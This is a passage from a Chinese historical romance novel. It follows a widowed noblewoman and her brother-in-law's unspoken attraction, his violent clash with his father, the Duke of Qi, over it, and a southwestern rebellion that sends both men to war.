藉香答:“主将为任隆将军,副将还没确定。” 这是和齐国公李德素有旧怨的一位大将,清蕴嗯一声。她不了解战事,但清楚其他事,四川、广西、湖广、云南等地都有土司势力,如今是这两地乱了,如果其他地方也跟着响应,药材必会受影响。 是否该提前做好应对之策?这个念头在清蕴脑海中转过了一瞬,暂未细思。 从织经堂回来,她暂时不想回月舍待着,就坐在廊下望夕阳出神。李审言刚踏进大门,先望见了这道熟悉的背影,不由驻足几息,随后再往齐国公那儿去。 他是因土司叛乱来的,齐国公听罢,道:“我不建议你接任副将。” 李审言动了动眉,没第一时间反驳。 齐国公淡道:“任隆此战必败,无论谁跟去,都讨不了好处。” 李审言:“为何?” “任隆擅掌骑兵,此前也多是在平原作战,广西一带山林层层相套,丘陵错综复杂,他又素来自大,绝不会任当地将领部署。赵良占据山险,在当地经营多年,此时民众也对朝廷怨声载道,军民同心,朝廷更不是对手。” 李审言:“若是你去,会怎么做?” 齐国公说了四句话,暂缓改土归流,离间叛军内部,组建山地精锐和控水道,断其命脉。 李审言若有所思,齐国公笑了下,“但若不是主将,控制不了大军,任你有再多的计策也没用。” 李审言明白,孤掌难鸣,他最初就没想过应下来,来这儿只是想听听老头子会怎么说。 “不用急。”齐国公咳了两声,闭眼,“这次动乱仅仅是个开始,没那么容易结束。” 如果陛下还是五年前的他,此次土司叛乱不足为患,但齐国公冷眼旁观大半年,心知他早已没了明君相。 李审言离开这儿时,已是风灯尽燃。 如果此次任隆失败,朝廷威信受损,其他地方的土司肯定也会蠢蠢欲动。边将纵然有实力去镇压,但他们也不能轻易离开戍守之地。 如老头子所说,建朝将要渐渐乱起来。 但他心中竟出乎寻常得平静,隐隐涌动的血液,也都被强行压了下去,静待良机。 ** 十月十八,这天是清蕴的生辰。 除去白芷,国公府几乎无人知道这事,她也无意操办,仅仅一大早吃了碗白芷亲手煮的长寿面。 白芷还道,门房那边说有人送了个锦盒,说是送给世子夫人。白芷先打开查看,见是块玉印就给她取了回来。 看雕工,清蕴猜测为三哥王宗赫所赠。大概是不便单独给她送礼,所以选了这种方式。 她收了下来,到午时再支开藉香和白芷独坐书房。 边捧青梅酒小酌边看书,没一会儿就呈微醺状态,清蕴干脆半伏在桌上翻页。 反正也没人看得到。 廊下皂靴踏过青砖的闷响响起时,她迟钝地反应了半晌,才记起这段时间李审言偶尔会来这儿借书。 此刻白芷藉香不在,所以他不知道书房有人。 以他的性格,在门前远远看见她应该就会离开,因此清蕴懒得起身避走,把酒盏倒扣,伏臂假寐。 但李审言在门边顿了半盏茶功夫,不仅没有离开,反而抬脚进门。 “我来还书。”清蕴听到他在书架前走动的声音,似乎在归还。 虽然不合时宜,但清蕴也只能继续趴着。 又持续片刻,轻微的脚步声停了,清蕴好像感觉到了屋内某处投来的视线,专注无比。 风声忽得静止,皂角香混着体温漫过来。清蕴察觉到近在咫尺的呼吸声,酒意全消——他竟挨得这样近。 “墨锭要滚下砚了。”李审言语气漫不经心地道。 清蕴自然不会回应。 紧接着,隐约有温热的鼻息拂过耳垂,指节擦着她散落的发丝按住镇纸。 清蕴微微攥紧袖口,惊觉他指尖悬在自己鬓角上方。风穿过冰裂纹花窗,那截修长手指终究只压下来了一张薄毯,似乎只是担心她着凉。 清蕴有些捉摸不透他的心思,感到他迟迟不离开,便故意将玉镯磕向案角。感觉他倏然直起身,索性嘤咛着把脸转向他离去的方向,微微睁开眼。 她对上了一双浓黑的眼,正低眸看来,其中还有没来得及掩饰的灼热。 他好像吓了一跳,却没有退缩,视线的温度反而有增无减。 呼吸声重得像雷雨前的闷鼓。 清蕴心头微颤,下意识装醉,故作看不清身前的人,念了句,“少思?” 带着醉意的呢喃像枚生锈的钉子,把李审言钉在原地。 常人到这样的地步,早该惊觉失礼,趁她还没有清醒赶紧离开,避免叔嫂间的尴尬。 他仍无知无觉般站在那儿。 清蕴不可能突然“清醒”,也没法再次装睡,只能又唤了一声,咕哝着“帮我倒杯水。” 李审言当真帮她倒了杯水。 他这个不请自来的人如此坦然,反倒是清蕴不知该如何继续。 她便继续歪着头,在醉醺醺的梦中唤人,轻声道:“真的是你吗?” 沉默在二人之间蔓延。 “是我。”良久,李审言哑着嗓子答非所问,任由清蕴将他错认的指尖按在掌心。 第62章 陆清蕴在思念亡夫,他又在做什么? 时令已过立冬, 书房里置了炭盆,清蕴才会解开外袍闲适地饮酒。如今她浑身微热,而李审言携着外间凉意,双手触碰的瞬间, 竟像燎起的火星子, 要顺着指尖烧过来。 清蕴稍微使劲, 手指被攥住, 一时没法儿挣来,不得不再次借着醉倒的姿势往桌上一歪, 才甩开这烙铁。 倒扣的酒盏被震起,顺桌沿慢悠悠滚了圈,发出咕噜噜声响,在落地前被一只手接住,抛了抛。 李审言嗅到上面的青梅香和酒香, 视线在鱼嘴壶停留。 她不嗜酒, 也没有这个癖好,今天是什么日子? 思及她醉中认错人的情态,前一刻沉浸在旖旎氛围中的他犹如凉水泼面, 倏然冷静下来。 陆清蕴在思念亡夫,追忆李秉真,他又在做什么? 着魔般恬不知耻地凑上去,以已逝之人的名义, 占一个醉酒之人的便宜? 李审言唇抿直, 不再去看她雪白肌肤中生出的红晕, 搁回酒盏, 又在原地垂眸站了几息,终于大踏步离开。 他在院子里撞见白芷, 没等她惊讶,先质问,“怎么没有随侍夫人身边?” 听他不悦的语气,白芷以为他是因不知情况进入书房和主子独处而不喜,先认错再解释,“夫人想独自清静,让奴婢不必侍奉左右,奴婢便去取了绣篮,准备在院子里等夫人传唤。” 李审言嗯了声,准备抬脚离开,临了想到什么,“今天什么日子?” 白芷如实答:“是夫人生辰。” 李审言微怔,盘旋在胸口莫名的郁气忽然消散大半。 原是生辰。 他恢复平时神色,顺口吩咐,“今后注意点,免得你们夫人身边无人,有肖小之辈入府,惊扰了她。” 白芷:…… 好歹有五十个护院,外人也没那么容易进国公府内宅。 她恭声应是,目送李审言离开。 刚在院子里坐定,听到书房动静,白芷入内,瞧见主子发髻微松,即刻上前打理。 “主子,刚才二公子来过。” 清蕴:“我知道。” 观她神色如常,白芷料想并未发生误会,便没有多说什么。 清蕴视线凝在薄毯上出神。 如果说盖毯子是出于好心,之后任她“认错”,还攥住手指,无疑是越界的举动。 但李审言行事向来不羁,万事肆意,借此开个轻佻的玩笑也有可能。 清蕴对他没有十足的了解,近些日子以来两人熟悉了些,仅限于能够自然地打交道,而非其他。 除此之外,唯一知晓的大概是长驻国公府后,他和齐国公的关系似乎好了许多。 无论如何,今后和他打交道还需更加注意。他们身份上是叔嫂,如果有不当举动,于礼法不合,也容易引来非议。 想到这儿,清蕴道:“明天把府里女使召过来,我再挑几个守在院子里,免得你一人忙不过来。” 白芷应是。 从府里另选了三人负责月舍的洒扫、看院等事务后,清蕴又开始了深居简出。 旁人为夫守孝基本是大门不出、二门不迈,既不能打扮,也无法出门游玩,有些还要受家中长辈、妯娌的管制、挤兑,三年时光说起来很难捱。 清蕴日子颇为充实。 她由大长公主领进了织经堂,每隔五天就去同众女编书。半月去一次店铺查看,偶尔也由彭掌柜把账本送到国公府。 府中中馈由她和几位管家共同执掌,摆宴、会客等事务却不用操心,只有涉及大批钱财才要过目。 长辈那儿,太夫人依旧是隔三日请一次安,齐国公免了她的请安,大长公主则一月会接她去府里用几次饭。 无事时,她只需要待在月舍看书、练字。 长辈关怀,下人敬重,还无需外出同人交际,这样的生活,与清蕴最初设想的相差无几。 但因土司叛乱一事,她深居内院也能隐隐感到外面的风雨气息,总觉得这样的安稳不会持续太久。 ** 任隆领兵平乱后近两个月,朝廷再次收到战报,称任隆在攻寨时中了赵良计谋,大军被石洪淹没,折损两万兵马。 任隆自己领了五万骑兵,到广西后和其他大军会合,总辖兵十万。在此之前,他和土司势力大小交战十来回,都是各有损伤,这次大败却直接损失了两成兵力,使朝廷颜面尽失。 齐国公勒令阖府上下不得议论此事,清蕴即便知道消息,也不清楚外界看法,因此趁去店铺的机会,到自家茶楼小坐。 她没要雅间,坐在三楼临窗位置,戴着帷帽听评书,也听茶客闲谈。 说书台正讲到《定军山》选段。 “要说这黄汉升刀劈夏侯渊——”醒木拍在案上惊起尘埃,“靠的是明主知人善任!” 说着,蘸茶汤在桌面写下“知人善任”四字。 突然有着青布袍的老儒生笑了下,“你们看这‘任’字,人旁加王,本该是擎天架海的人物,偏生这‘人’字捺脚虚浮,‘王’字横画歪斜,简直是朽木蛀空。” “仁兄是读书人,看个字也有门道,我倒觉得这字能让人看懂就行。”生怕老书生明着说出不敬之言,商贾打扮的中年男子摸了摸翡翠扳指打圆场,接着提起生意场上的事,“前日蜀中来的绸缎,素日十船运九船达,如今三船就要折两船,听说柳州米价还翻了这个数。” 他比出三根手指,摇摇头,“现在生意不好做啊,年底了,竟不知要如何清账。” 这话引起共鸣,众人听评书之余,就围绕绸缎、药材等物的价钱聊起来。 清蕴边听边喝茶,等这壶素白芽饮尽,就起身离开。 她身边除去白芷,暗中还跟了四个护卫,不着痕迹地隔在她和人群之间。 除夕将至,不管广西、贵州等地是否打了败仗,暂时还影响不了京城的百姓喜气洋洋过年。天子脚下有重兵把守,战乱离他们似乎总有段距离。 越过人群,即将上马车之际,她隐约听到有人唤自己,回头一看,还真是熟人。 柳晚兴冲冲走来,“当真是你。” 清蕴看向她身后的王宗赫,“三哥,三嫂。” 说罢,抬起帷帽两侧轻纱,露出面容。 柳晚微怔。 分明是素服荆钗的装扮,鸦青鬓角仅簪着朵白绢山茶,偏叫人想起月窟仙人缝缟袂的典故。 深居多时,她整个人仿佛又“静”了些,仿若空谷幽兰,怡然独立。上天也格外钟爱她,脂粉未施而不减清丽,身姿纤薄却更显风骨。 望着那截皓腕重新笼回衣袖,柳晚忽然觉得满街年节红绸都成了俗物。如斯美人偏被锁在深宅,像是把一捧新雪藏在暖阁,任谁见了都要生出暴殄天物的怜惜。 “今天怎么得空出门?” 清蕴微微一笑,“有事需出门来办,你们是一起来置办年货?” 柳晚摇头,根本不想和王宗赫扯上干系,“他去官署办差,我出门买东西,本来要分开行事,他母亲非让我们一起。” 他母亲?这称谓可以说是十分生疏。清蕴余光注意王宗赫,见他面色依旧,显然习惯了。 才成婚几个月,夫妻之间如此冷淡吗? 柳晚不在清蕴面前掩饰,是因清蕴偶遇过她与尤衡相会,性情也颇合她意,便没打算在清蕴面前装郎情妾意的模样。 反正两人的夫妻也做不了多久,她更想让清蕴把自己当朋友,而非表嫂。 柳晚想和清蕴叙旧,转头道:“马车你用罢,待会儿我另外叫一辆车,或走回去都行。” 王宗赫摇头,“出门前母亲列了单子,让我帮忙置办。” “直接给我吧,我来买。” 王宗赫:“她是口头交待,且有些东西无法说清,看到了才知。” 柳晚:“……” 他这么说了,柳晚总不能把人赶走,干脆把人当做护卫,买了东西就往他手上堆。 清蕴则和柳晚在前方慢走,轻声聊天。 柳晚是柳阁老孙女,受其教导,对时局自有看法,察觉清蕴感兴趣,瞥了眼三步外的王宗赫,压低声音,“任隆一败,朝堂主和的提议更多,但依陛下现在的性情,八成又会被否。恐怕三五年内,西南一带都会处于战乱,如果你有亲人在那边,可提醒他们迁居,如果有事务与那边有关,也要早做打算。” 清蕴微惊,向她道谢。 朝堂上的事,她看得确实不够深远清晰,还需多学。 柳晚笑了下,“你三哥又升职了,知道的消息只会比我更多,可惜他归家后什么也不会和我说。” 她道,王宗赫得到柳阁老举荐,还即将为已经五岁的大皇子开蒙。如无意外,在大皇子成人之前,他将一直任皇子之师。 中宫未立,在仅有两位皇子的情况下,一般是年长的大皇子更有优势。假如未来大皇子入主东宫,王宗赫就是今后的帝师,前途不必多说。 可见柳阁老为给他铺路,确实煞费苦心。 清蕴顺着柳晚的视线往后看了眼王宗赫,正巧对上他的目光,两人对视,同时愣了下。 实在是许久没见,各自都有变化,不如以往熟悉。 王宗赫先反应过来,微微颔首,回了个眼神。 单看气势,他确实已经带了隐隐的官威,即便身着常服,寻常百姓看了他也会多敬畏几分。 清蕴弯弯眸。 逛了两条街,东西置办得差不多,柳晚要请清蕴在外用饭,清蕴思索如何婉拒之际,耳畔传来马蹄声。 是李审言。 闹市不得纵马,他牵着马儿走到两人身前,先瞥了眼后方的王宗赫,“家里派人传消息说父亲不舒服,大夫刚去,大嫂可要一起回去看看?” 清蕴:“……”她记得出门前公爹还好好的。 柳晚一惊,她是听说齐国公的病反反复复,当即不再留人,“既然齐国公身体有恙,你还是先回吧。” 第63章 “她是你大嫂!” 人潮在前, 王宗赫看着两人前后而去,微敛的眸中不知在想什么。 马车彻底离开这条街,柳晚兴致减了八分,想想仍有些物件没买, 便回头看王宗赫, 问他是否继续一同。 王宗赫:“不急, 买完我再走。” 柳晚那点微妙的怀疑顿时消失, 看来他不是因清蕴而留下。 旋即为自己直觉中冒出的猜测而笑,这人连表妹的消息都不曾打听过, 又怎么会因清蕴的出现而特意陪她们逛街。 夫妻俩快速置办完东西,各自分开。 王宗赫到了吏部。 建朝年假从腊月十九开始,直至正月二十一,足足有一月假期。 临近年底,还有不到十日就是假期, 许多官员都没了心思办差, 大都上午来点个卯,下午以办差的名义到别处溜达。 这种时候,连柳阁老都因家事而来得少了。 毕竟如今上朝次数一减再减, 寻常事务都由内阁处理。在天子不愿出面的情况下,柳阁老为第一人,无人能管束他。 王宗赫每日待在官署的时间依旧不少于五个时辰。 他从初入官场就是如此,也从不要求旁人一起, 所以除去个别官员会议论他过于勤勉之外, 得到的都是好名声。 案前公文堆积如山, 王宗赫摒弃杂念, 用青瓷镇纸压住边角,笔尖在砚台边沿轻轻掭过, 再耐心地一本本批阅。 他处理文书自有一套章法。 西北三州送来的请安折子用蓝封归整,这类歌功颂德的套话照例送往万云那儿,看不看就全凭他们陛下心情。江州府尹提请修缮堤坝的奏章,就蘸朱砂在“工部协理”四字下勾了双线。考功司新呈的官员三年课考簿册,则用黄绸细绳捆扎,待腊月廿五呈送御前勾选——虽说建帝近年愈发惫懒,该走的流程总要周全。 “太原同知陈平贪墨案”王宗赫的指尖在泛潮的桑皮纸上顿了顿。这本弹劾奏章夹着按察使司的密报,墨迹洇开的“侵吞军饷”四字让他眉心微蹙。这类四品以上官员的任免,已超出吏部郎中的权责。 事实上不仅是吏部郎中之责,他批阅的公文中,有些是内阁中才能看。但柳阁老默许,其他几位阁老也就不曾反对。 他取过素笺誊录要点:涉事银两数目、涉案卫所名录、前任太原知府考评。待墨迹干透,连同原折装入靛青函套,唤来书吏嘱咐:“明日卯时送柳阁老案头。”函套封口处的火漆印特意用了暗纹,这是提醒阁老需单独奏对。 窗外暮色渐浓时,案上已分列出七摞文书。 最右侧那叠紫檀木匣盛着的,是今晨刚到的西南急报。王宗赫摩挲着匣盖上的虎头铜锁,想起上月兵部与户部为军饷扯皮的旧事,终是将木匣原封不动归入待转公文。 其中还有蓟州彭将军递上的一道折子,道蒙古在半年间有三次突袭,好在都防守得当,损失不大。第三次察哈尔部率领五千骑兵夜袭,多亏他部下一名叫陈危的小兵临危不乱,领兵撤退的同时大胆埋伏反击,大挫察哈尔部锐气。彭将军作为总兵,推荐陈危任他麾下千户。 看到熟悉的名字,王宗赫笔锋未变,依旧按类分好。 当值房的梆子敲过一更,最后一份关于江南织造局增设提举的奏请被朱笔圈出“转户部议”,王宗赫揉着发胀的太阳穴起身,烛影在青砖地上拖出细长的影。 端起早已凉透的茶,他一饮而尽。 处理完了公事,被刻意压制的思绪才如潮水般涌出,把他钉在太师椅上,一动不动。 “爷?”不知几时,疏影小心询问的声音响起。 王宗赫回神,“怎么?” “这边要关门了,也过了晚饭的时辰,门房来让我问问,您准备留到什么时候?” “现在什么时辰?” “差两刻到亥时。” 王宗赫这才惊觉自己坐了快半个时辰,但他其实没有想太多,仅仅是…… “回吧。” 他起身,肩背显出近乎峭直的弧度,不似武人的悍利,而是古碑上拓下的瘦金体——嶙峋骨节裹在四品云雁补服里,透出文臣特有的清矍。 疏影随他走出官署,跟在两步之后,看着自家主子的背影,其实隐约能猜到他今日为何呆坐了许久。 下午在街市遇见了陆姑娘,不对,应该称世子夫人了。 单看主子状态,疏影就知道,他一刻也不曾放下过陆姑娘,只是碍于礼法,不曾流露情绪。 且疏影作为身边人,能隐约察觉到主子和如今夫人的真实状况,这两人怕是从来就没像真正的夫妻那样相处过。有时候郑夫人问起来,疏影都不得不帮忙打掩护,说主子太忙了,所以鲜少归家。 叫疏影来说,主子既不曾忘怀旧情,当初就不该结这门亲。守寡再嫁又不是什么稀奇事,大不了等陆姑娘守满三年孝,这样总不会引起非议。 偏偏主子他…… 疏影深觉,过于克制也不好,至少如主子这样,许多情绪除去他这种极度亲近的人才能知晓,外人根本没法察觉。 陆姑娘那儿,恐怕连主子的心思都不清楚。 ** 清蕴归家后先去看望了齐国公,一看他状态就知道没事,仍故意道:“听二叔说父亲突然不舒服,不知现在如何?” 齐国公满头雾水,到底没拆儿子的台,“只是睡多了有点头晕,没什么。” 等儿媳走后就瞪李审言,“又做了什么?” 李审言:“随口一说而已,只是大嫂格外认真。” 齐国公狐疑,“虽是快到年底了,也别三天两头往家跑,陛下那儿不用你,就多去练练武艺,业精于勤荒于嬉。” 李审言懒洋洋嗯一声。 对坐会儿,他忽然道:“以后大嫂出门,多给她备点护卫。” 齐国公皱眉,“她遇到麻烦了?” “只是些苍蝇。” 儿媳的美貌齐国公也知道,若显露人前会不可避免地引来目光,但他总不能因此就把人禁锢在府里。况且清蕴守礼有分寸,向他提出出府的请求也不全是因私事,“我下次提醒她注意。” 父子俩又说了几句话,言谈间,李审言有意无意问起关于如果清蕴再嫁的事,让齐国公不悦,“这不是你该问的事,也与你无关。” 作为少思父亲,他当然不会乐意见到儿媳另嫁他人,可如果清蕴那孩子真遇到良人,他也不忍心阻止,最大的可能是平淡以对。 李审言细观他神色,搭在椅背的指节无意识轻叩起来。 …… 腊月廿九的雪粒子敲在青瓦上,齐国公府正厅里的炭盆烧得劈啪作响。 清蕴捧着茶盏坐在东侧圈椅里,看周管家指挥下人们更换岁朝清供。 李审言斜倚在门框边剥松子,指尖一弹,果仁稳稳落在清蕴手边的攒盒里。 “今年冬天倒比往年更寒。”李审言说着,掸了掸衣襟上的碎壳,目光掠过清蕴发间素银簪:“我前天去白云观,正遇见大嫂跪香。那些姑子连盏热茶都不备,冻得人指尖发青。” 清蕴捧着茶盏的手微微一顿。 前日她确实去为李秉真做道场,却不记得在观中见过面前人。檀香缭绕间似乎有人往她膝下塞过蒲团,可抬头时只见到玄色袍角闪过月洞门。 那就是他? 不待细想,李审言已经直起身,“我备了些小玩意。” 他从阿宽手中拿来锦盒,一枚羊脂玉簪在烛火下泛着柔光,“听说大嫂旧年那支不巧摔断了齿,这是给你的。” 锦盒中还有一只白玉吊坠和一对护膝,据他说是为太夫人和齐国公准备。 这毕竟是年礼,清蕴思索几息收下,“二叔破费了。” 她那儿也给每人各自备了礼,但没有这么贵重。李审言有俸禄,在府里也领例银,可据清蕴了解,他的存银应该不算富裕。 李审言摆摆手,转头给阿宽也赏了个红封,似乎纯粹是因除夕而高兴。 齐国公借喝茶的姿势观察儿子。 看上去没什么奇怪,依旧是那副让人恨不得捋直他骨头的懒散模样,除去难得学会关心亲人了,再无特别。 可他能表现得这么“乖巧懂事”就是最大的不对劲。 齐国公觉得,答案有几次都呼之欲出,又缺了点什么,让他仍有不解。 年夜饭前,齐国公召来跟随自己多年的护卫马青,让他去查查李审言近几月都做了什么,并让马青派个跟梢好手,在年后半个月跟着人,看其这段时间又会去何处。 马青道:“二公子武艺高强,府里没几个护卫能跟住,如今陈危不在,只有属下可以。但如果属下被发现,公子立刻就会知道是主子的主意。” 提到这个,齐国公骄傲又头疼,“你亲自去吧,隐蔽点,太近就不要跟了。” 马青领命,派人去查过往几月之事,再亲自跟着李审言。 这段时间人基本都在府里,暗中盯起来也方便许多。 半月后,几叠纸被呈到齐国公面前,他抿了口茶,慢慢看过去。 一刻钟后,齐国公平静道:“叫他过来。” 马青投去忧虑的眼神,迅速去喊人。 这会儿仍是正月,天寒地冻,李审言踩着积雪推开书房门时,齐国公端坐在书房的紫檀嵌云石案后,镇纸下压着那一叠纸。 “什么事?”李审言直接问。 示意那叠纸,齐国公道:“你自己看看。” 李审言当自己教训过的几人告到齐国公面前,漫不经心地拾起,看到第一页时,眼神就定住了,微微攥紧纸张,再放松。 紧接着,慢吞吞地一行行看过去,不知看到何处,竟嗤笑了下。 齐国公隐忍火气,尽量心平气和地道:“年前往白云观捐八百两灯油钱,清蕴去王家时亲自护送迎回,她染风寒少一味药,还跑马去隔壁县买。我竟不知,你原来对你大哥有如此敬重。” 李审言眼皮撩起扫他一眼,又沉下去,“大概是吧。” “但清蕴毕竟还在服孝,家里人知道你是爱屋及乌,有些喜欢搬弄口舌之人见了,难免会议论,对你和清蕴都不好,今后还是注意些。” 齐国公想掩饰太平,李审言却不想领受这“好意”,没吭声,下一刻,砚台就擦着他耳侧飞过,“听到没有!” 锋利的边角割伤耳廓,感觉有湿意,李审言随手抹了把,指间血淋淋的,便挑眉起身,“你既然查得清清楚楚,何必再问这些。” 他迎着齐国公怒极的眼神,毫不畏惧道:“我确实喜欢陆清蕴,和李秉真毫无关系。” “逆子!”齐国公霍然起身,“她是你大嫂!” “我都没把你当爹,哪来的大嫂?”李审言站在那儿,语气冷淡,眼神却带着戾气,“这时候要来摆当老子的谱,也要看有没有人买账。” “住口!”齐国公胸口剧烈起伏,“你当这是旗手卫?由着你无法无天!” 又是镇纸擦过眉骨,血珠溅在袖口,李审言抹了把脸,“无论在哪儿,我都是这个说法。” 齐国公气得须发皆张,左右扫视,扯下墙上宝剑,“要么断了这糊涂心思,要么我今日就了断了你!” 剑身映着李审言带血的笑,他神情更加狂妄肆意,叫齐国公气血冲上头。 “公爷不可!”马青撞开房门时,李审言隔挡的掌心已见血痕。 他扑上前夺剑,“公爷息怒!二公子年少轻狂” “二十五岁还轻狂?”齐国公看着儿子血淋淋的掌心,忽然想起他当初混入大军,又浑身浴血回京的模样。 当时李审言奄奄一息,他几乎以为小儿子要先于长子离去。 心脏猛地一痛,齐国公踉跄,被马青扶回座位。 半晌,暴喝道:“滚去佛堂跪着!未得允许不许出来!” 李审言冷笑一声,没有应答,直接推门离去。 第64章 你厌恶我吗? 积雪深三寸时, 清蕴风寒初愈,去给太夫人请安,在廊下遇见拎着食盒的阿宽。 两人对话的当口,旁侧佛堂走出一人。 天寒地冻, 他依旧穿着单薄, 勾勒出颀长的身形, 左手缠了一圈纱布, 眉梢微挑,“我在这儿饿着肚子, 你倒好,在外闲聊。怎么,被关着就不是你主子了?” 阿宽忙告罪,清蕴解释,“是我不知二叔在这儿, 就多问了他几句。” 李审言被强关在佛堂三天了, 他相信这消息在府里都传了个遍,无非是不知道原因而已。但要说不清楚他在这儿,绝对是装傻。 陆清蕴惯来如此, 事不关己时要么高高挂起,要么喜欢装懵。他原来觉得虚伪,现在面对面看着人,见她一本正经的模样, 又深觉狡黠得可爱, 像只滑不溜的狐狸。 不知从哪修炼来的功夫。 他哼笑了下, “嫂嫂想知道, 直接来问本人就是。” 清蕴微微一笑,权作没听见, 又不至失礼。 李审言自顾自解释,“老头年纪大了,古板又固执,脾气还古怪,不过是没顺他的意,就打发人跪佛堂。” 阿宽:……谁能有您脾气古怪。 作为长随,阿宽猜测过父子闹矛盾的原因,不过怎么也想不到到底是什么原因让国公爷对二爷动刀。三天前,二爷掌心血肉模糊的样子他都还记得呢,可见当时国公爷怒气之重。 清蕴听罢,略瞧了眼他手掌,倒也没说什么劝慰的场面话,只道:“既然如此,那我就不打扰二叔,先去给祖母请安了。” 李审言目送她进太夫人院子,再回到佛堂。 他待了三天,佛堂早已不是原先布局。蒲团和方桌全被拼在一块儿,成了张简易睡榻,“睡榻”斜对面就是佛像并几个牌位。 其中一个牌位正是一年前刚添的李秉真。 阿宽敬畏鬼神,虽然听主子吩咐把饭菜铺在地面,但全程低头,根本不敢看供桌。 李审言没急着吃,而是走到窗边,在矮几上把原先摹的《金刚经》一卷摹完,再交给阿宽,让他在供桌前一页页烧掉。 阿宽仍看不懂内容,只觉得纸上字迹相较于原先的工整,似乎锋利许多。 …… 齐国公和李审言这场父子争斗持续了大半年。 谁也不知他们为何争执,只清楚即便二公子恢复当值,归家后的第一件事仍是跪佛堂,至少跪满两个时辰。 太夫人对儿孙挨个劝了遍,谁也劝不动,气得病了场,结果齐国公愣是没改口。 李审言也不服输,该违逆的照样违逆,该跪的也依旧跪。 剩下的时候…… 雨水扑打在窗棂,清蕴握书立在不远处,看檐角雨丝将院里的灯火折射成细碎光斑。那双越发灼热的眼眸,此刻仍在记忆里明灭。 “主子,阿宽送来了一篮香料。"白芷入内轻声道,“正是您提过的南海那批。” 几个月前,清蕴无意间提到过制香所需香料,可惜要么是贡品,要么难寻。阿宽送来,无疑是李审言特意去找来的。 合起的书在掌心转了个圈,清蕴望着庭中湿漉漉的青石板。那日装醉时的碰触,李审言掌心的纱布,佛堂里歪斜的牌位,还有那卷烧给李秉真的《金刚经》……这些碎片在心底拼出个荒诞的轮廓。 清蕴隐约明白了公爹为何会有如此怒火。 但大概是曾经有过模糊的猜测,此刻她竟不是很惊讶,下意识的反应是,倘若被他人发现,这件事会给她带来什么影响。 李审言可能会被指责,但被批判的人绝对是她。 “退回去,就说不需要了。” 白芷松了口气,应声离去。 接下来的日子,清蕴没有因李审言的存在特意回避,该出门的时候照样出门,只是不再主动和他打招呼,他搭话时也显得格外冷淡。 这样明显的态度,李审言很快就察觉到了。 他知道原因,但却无法做什么,就像齐国公嘲讽他的那样,“倘若她发现你的心思,当她会不会避你如蛇蝎?” 想到这儿,他垂眸沉思良久。 在李审言找到办法之前,西南叛乱的局势已经越发焦灼,内阁、朝堂争议不断,平息动乱的法子也换了许多次,眼见这两年建朝民生因此事越发动荡,其他地方的匪乱、起义频发,再不以雷霆之势压下,只怕边境乱起来,内忧外患交加,社稷将危。 告假养病近两年的齐国公终是被一道圣旨强行征召,命他为副将,协助主将周平前往广西平乱,与此同时,还有督军谢青天协同。 谢青天其名风流,人也生得仙风道骨,但他并非望族之后,也非出身武将之家,而是普普通通的平民百姓。有几分拳脚功夫,最擅长的还是炼丹制药,正是建帝从民间搜罗而来的“高人”之一。 这两年间,李审言和建帝身边这批人打过不少交道,在京城附近闹匪乱时还曾和他们一起去剿过匪,对这群人的心性再了解不过,几乎个个都是贪婪成性、好大喜功,还喜欢指手画脚。 山匪给他们奉上金银珠宝,他们转头就能把对方吹成为民除奸的大功臣。 因此在得知齐国公要出兵去广西,督军还是谢青天时,李审言先皱眉,去找了齐国公。 儿子能特意来点明这些,齐国公还是高兴的,毕竟父子俩大半年来的关系几乎凝成冰。 他笑了笑,“我只是副将,督军如何,该是周将军要操心的事。” 李审言:“吃了败仗,你一样要受罚。” 齐国公摇头,“不对。” 不待李审言奇怪,主动道:“是你我都将受罚。” 李审言:“……” 隔了一日,收到圣旨后,李审言才知道自己也在此次出兵广西之列,同在周平手下,任骑兵指挥使。 能够真正随军作战,李审言先是讶异,随后隐隐激动,紧接着想到此行少则几月,长则数载,又沉默下去。 他先花了几天安抚太夫人,待到还有三日出发时,来到月舍。 这次求见没有被拒绝。 叔嫂在院中的石桌旁见面,藉香守在不远处,目光灼灼,仿佛只要李审言有不当之举就立刻冲过来。 无视身后的犀利视线,李审言道:“还有三天,我们领兵出发了。” 清蕴温声,“先祝父亲和二爷能够旗开得胜,但战场瞬息万变,刀剑无眼,万望保重。” 李审言:“祖母给我求了道平安符,但我身边无人擅长针线,可否请嫂嫂赐我一枚香囊,以便随身装符。” 白芷看过去,向来寡言的她眼神复杂。 有些话彼此都心知肚明,清蕴没有问他为何不找太夫人要,视线在廊下的灯笼停留会儿,“好,只是我不擅女工,只能在铺子里帮二叔挑一个,可行?” 李审言不挑,直接说好。 两人续说了几句不痛不痒的话,李审言再起身准备离开。 白芷先一步进门点灯,李审言紧随在清蕴身后,压低声音问:“你厌恶我吗?” 直截了当的问话让清蕴一顿。 厌恶吗?她想过,其实没有。 刚和李秉真成婚时,了解兄弟二人间的往事,李审言于她是名义上的小叔子。知道李审言曾孤身随军立下战功时,她内心隐有敬佩。后来李秉真离世,她决定不再嫁人,国公府的三人便都成了需要好好相处的亲人。 近两年来,李审言在她日常生活中时常出现,或任她差遣,或有意逗她开心。偶尔独处时虽然目光侵略性极强,但他并不会越矩,在外人面前更不会有轻佻行为,足可见他的想法不像她最初以为的玩笑居多,而是确有真心。 虽然这份不知能持续多久的真心对她而言,还没到能够动容的地步,但领兵在即,她也不会故意在这种时候表现得冷漠无情,对他造成影响。 她如实道:“二叔和父亲都是保家卫国的英雄,我由衷钦佩。” 李审言唇畔不着痕迹翘起,又压下去。 话里提及的不止他一人,传入李审言耳中就是单独对他的“心意”,有瞬间握拳,强按住心绪,“好,我知道了。” 说完,大步离去。 离京前,李审言没再来找清蕴,一心一意准备去广西之事。 他如今最大的变化是渐渐习惯了看书,即使不喜欢,也能耐着性子去寻找自己所需。 早在西南乱局刚形成时,李审言就看过了好些镇抚西南的兵书、史书,对其中战术深有研究,如今则重点了解广西一带地形。 建帝这次给了他们五万人马,到广西还将有五万军马会和,其中李审言率领的骑兵有五千。 作为空降的指挥使,李审言和麾下骑兵不熟,他便在路途和这五千人同行同住,拔寨休息时,与他们比试骑马射箭,展现出的功夫在众人当中一骑绝尘。再加上他行事不拘小节,没有寻常世家子的讲究和矜持,很快就收揽了一批人心。 与他的表现形成鲜明对比的,则是从出发第三天开始就称不舒服坐上马车的齐国公。 随军大夫看不出毛病,便道国公爷应是身体还未大好,不宜劳累。 谢青天很是不屑,对病歪歪的齐国公彻底没了兴趣,心道这人怕是躺了两年已经躺废了。 他转而一心一意找周平,今日要把酒言欢,明日要抵足同眠,再过几天又说卦象显示这条路大凶,要换道前行。 